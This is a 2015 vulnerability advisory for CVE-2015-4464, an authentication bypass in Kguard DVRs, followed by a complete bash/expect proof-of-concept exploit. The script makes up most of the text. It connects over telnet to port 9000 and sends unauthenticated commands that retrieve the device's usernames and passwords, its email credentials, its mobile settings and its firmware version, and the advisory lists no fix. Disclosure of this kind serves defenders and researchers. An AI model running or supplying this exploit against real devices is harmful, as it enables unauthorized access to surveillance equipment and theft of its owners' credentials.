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Kguard Digital Video Recorder Bypass Issues

Posted on 25 June 2015

CVEID: CVE-2015-4464

SUBJECT: Insufficient Authorization Checks Request Handling Remote
Authentication Bypass for Kguard Digital Video Recorders

DESCRIPTION: A deficiency in handling authentication and authorization
has been found with Kguard 104/108/v2 models. While password-based
authentication
is used by the ActiveX component to protect the login page, all the
communication
to the application server at port 9000 allows data to be communicated
directly
with insufficient or improper authorization.

CVSS Base Score: 9.7
CVSS Temporal Score: 8.3
CVSS Environmental Score: Undefined
CVSS Vector: (AV:N/AC:L/Au:N/C:C/I:C/A:P/E:F/RL:U/RC:UR)

Affected Products and Versions

Kguard Digital Video Recorders: KG-SHA104/KG-SHA108/v2. Other variants
that runs
the same firmware from Zhuhai Raysharp Technology Co Ltd, are believed to
be vulnerable.

Exploit / Proof of Concept:

https://goo.gl/L5ASRo (or see below)

Remediation/Fixes

None.

Workarounds and Mitigations

See: [06]

References:

[01] http://www.securityfocus.com/archive/1/534830
[02]
http://us.kworld-global.com/main/prod_in.aspx?mnuid=1306&modid=10&prodid=527
[03] http://osvdb.org/show/osvdb/119402
[04] http://osvdb.org/show/osvdb/119422
[05] http://osvdb.org/show/osvdb/119403
[06]
https://www.academia.edu/11677554/Kguard_Digital_Video_Recorders_Multiple_Vulnerabilities

------ kguard-exploit-poc.txt -----

#!/bin/bash
# Title: Kguard Digital Video Recorders POC Exploit
# Author: Eric Fajardo - fjpfajardo@ph.ibm.com / 06/15/2015

# CVE-2015-4464 - This POC demonstrates the successful exploitation of
# security flaws which has been found with Kguard SHA104/108 models. These
# Digital Video Recorders suffers from a design flaw in the protocol
# implementation which makes the product insecure. Access to these devices
# are designed for Internet Explorer and uses ActiveX to bridge the
# communication from the browser to the DVR's application server.
# The communication layer between the ActiveX control and the application
# server has no authentication and authorization mechanism which may lead
# to the exposure of all credentials in the device and the ability to do
# unauthorized modification of the config including functions which can
# potentially make the device unoperable.

# A full disclosure can be read at:
# https://www.academia.edu/11677554/Multiple_Vulnerabilities_with_Kguard_Digital_Video_Recorders

HOSTID="$2"
PORTID="$3"
NARGS=2
BARGS=65

main(){
 printf "33[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`33[0m
";
 printf "USAGE: $0 {OPTION} {HOSTNAME} {PORT}
";
 printf "EXAMPLE: $0 --getver dvr.johndoe.com 9000

";
 printf "WHERE:
";
 printf "33[1m--getver33[0m	- Get the firmware version.
";
 printf "33[1m--getcred33[0m	- Get the DVR's usernames/passwords.
";
 printf "33[1m--getmobile33[0m	- Get the DVR's mobile phone config.
";
 printf "33[1m--getemail33[0m	- Get the email/password if configured.
";
}

# 01 - EXECUTE GETVERSION
function execute_getver(){
 echo "[X] - Running option getver...";
 /usr/bin/expect<<EOD
 set timeout 20
 spawn telnet $HOSTID $PORTID
 expect "Escape character is"
 send "REMOTE HI_SRDK_MEDIA_GetShowAttr MCTP/1.0
"
 send "CSeq:1
"
 send "Accept:text/HDP
"
 send "Content-Type:text/HDP
"
 send "Func-Version:0x10
"
 send "Content-Length:15

"
 send "Segment-Num:0
"
 expect "MCTP/1.0 200 OK"
 sleep 3
 send "^]
"
 expect "telnet>"
 send "quit
"
exit 1
EOD
}

# 02 - EXECUTE GETCRED
function execute_getcred(){
 echo "[X] - Running option getcred...";
 /usr/bin/expect<<EOD
 set timeout 20
 spawn telnet $HOSTID $PORTID
 expect "Escape character is"
 send "REMOTE HI_SRDK_SYS_USERMNG_GetUserList MCTP/1.0
"
 send "CSeq:2
"
 send "Accept:text/HDP
"
 send "Content-Type:text/HDP
"
 send "Func-Version:0x10
"
 send "Content-Length:51

"
 send "Segment-Num:1
"
 send "Segment-Seq:1
"
 send "Data-Length:4



"
 send "...
"
 expect "MCTP/1.0 200 OK"
 sleep 3
 send "^]
"
 expect "telnet>"
 send "quit
"
exit 1
EOD
}

# 03 - EXECUTE GETMOBILE
function execute_getmobile(){
 echo "[X] - Running option getmobile...";
 /usr/bin/expect<<EOD
 set timeout 20
 spawn telnet $HOSTID $PORTID
 expect "Escape character is"
 send "REMOTE HI_SRDK_NET_MOBILE_GetOwspAttr MCTP/1.0
"
 send "CSeq:1
"
 send "Accept:text/HDP
"
 send "Content-Type:text/HDP
"
 send "Func-Version:0x10
"
 send "Content-Length:15

"
 send "Segment-Num:0
"
 expect "MCTP/1.0 200 OK"
 sleep 3
 send "^]
"
 expect "telnet>"
 send "quit
"
exit 1
EOD
}

# 04 - EXECUTE GETEMAIL
function execute_getemail(){
 echo "[X] - Running option getemail...";
 /usr/bin/expect<<EOD
 set timeout 20
 spawn telnet $HOSTID $PORTID
 expect "Escape character is"
 send "REMOTE HI_SRDK_NET_GetEmailAttr MCTP/1.0
"
 send "CSeq:1
"
 send "Accept:text/HDP
"
 send "Content-Type:text/HDP
"
 send "Func-Version:0x10
"
 send "Content-Length:15

"
 send "Segment-Num:0
"
 expect "MCTP/1.0 200 OK"
 sleep 3
 send "^]
"
 expect "telnet>"
 send "quit
"
exit 1
EOD
}

[[ $# -lt $NARGS ]] && main && exit $BARGS
case $1 in

 --getver )
 printf "33[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`33[0m
";
 execute_getver
 exit 0
 ;;

 --getcred )
 printf "33[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`33[0m
";
 execute_getcred
 exit 0
 ;;

 --getmobile )
 printf "33[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`33[0m
";
 execute_getmobile
 exit 0
 ;;

 --getemail )
 printf "33[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`33[0m
";
 execute_getemail
 exit 0
 ;;

 *)
 printf "33[1mKGUARD EXPLOIT: KGUARD-EXP-POC.SH - `date`33[0m
";

esac
exit 0

 

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